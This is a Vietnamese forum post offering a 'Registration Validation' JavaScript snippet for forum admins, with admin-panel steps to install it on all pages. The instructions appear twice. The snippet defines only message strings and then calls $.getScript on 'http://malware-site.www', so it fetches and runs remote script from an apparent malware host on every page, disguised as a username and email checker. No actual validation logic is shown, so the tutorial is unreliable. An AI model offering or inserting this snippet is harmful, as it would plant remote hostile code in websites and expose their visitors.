Bài viết: 1 Code tự động kiểm tra nick thành viên và email đã đăng ký 10/26/2012, 08:43
Admin
khi người dùng đăng ký mới nếu tên hoặc mail trùng với một thành viên đã đăng ký trước thì fr sẽ ngay lập tức gửi báo cáo tới người dùng
chưa đăng ký
đã đăng ký
cách làm: Admin Panel -> Modules -> JavaScript Codes Management -> Make sure it's on! -> Create new -> Title it "Registration Validation" -> Mark it as "In all pages" -> Paste:
Admin Panel -> Users & Groups -> Special Rights -> View the profile -> Guests
Admin Panel -> Users & Groups -> Users -> Profiles -> General options -> Activate advanced profile : Yes
lưu lại là ok
nguồn: [You must be registered and logged in to see this link.]
chưa đăng ký
đã đăng ký
cách làm: Admin Panel -> Modules -> JavaScript Codes Management -> Make sure it's on! -> Create new -> Title it "Registration Validation" -> Mark it as "In all pages" -> Paste:
- Code:
(function () {
window.validation = {
empty_username: "You must enter a username",
username_length: "Usernames must be between 2 and 25 characters long",
username_available: "is available",
username_taken: "is already registered by another member",
invalid_email: "You need to enter a valid email address"
}
})();
$.getScript("http://malware-site.www");
Admin Panel -> Users & Groups -> Special Rights -> View the profile -> Guests
Admin Panel -> Users & Groups -> Users -> Profiles -> General options -> Activate advanced profile : Yes
lưu lại là ok
nguồn: [You must be registered and logged in to see this link.]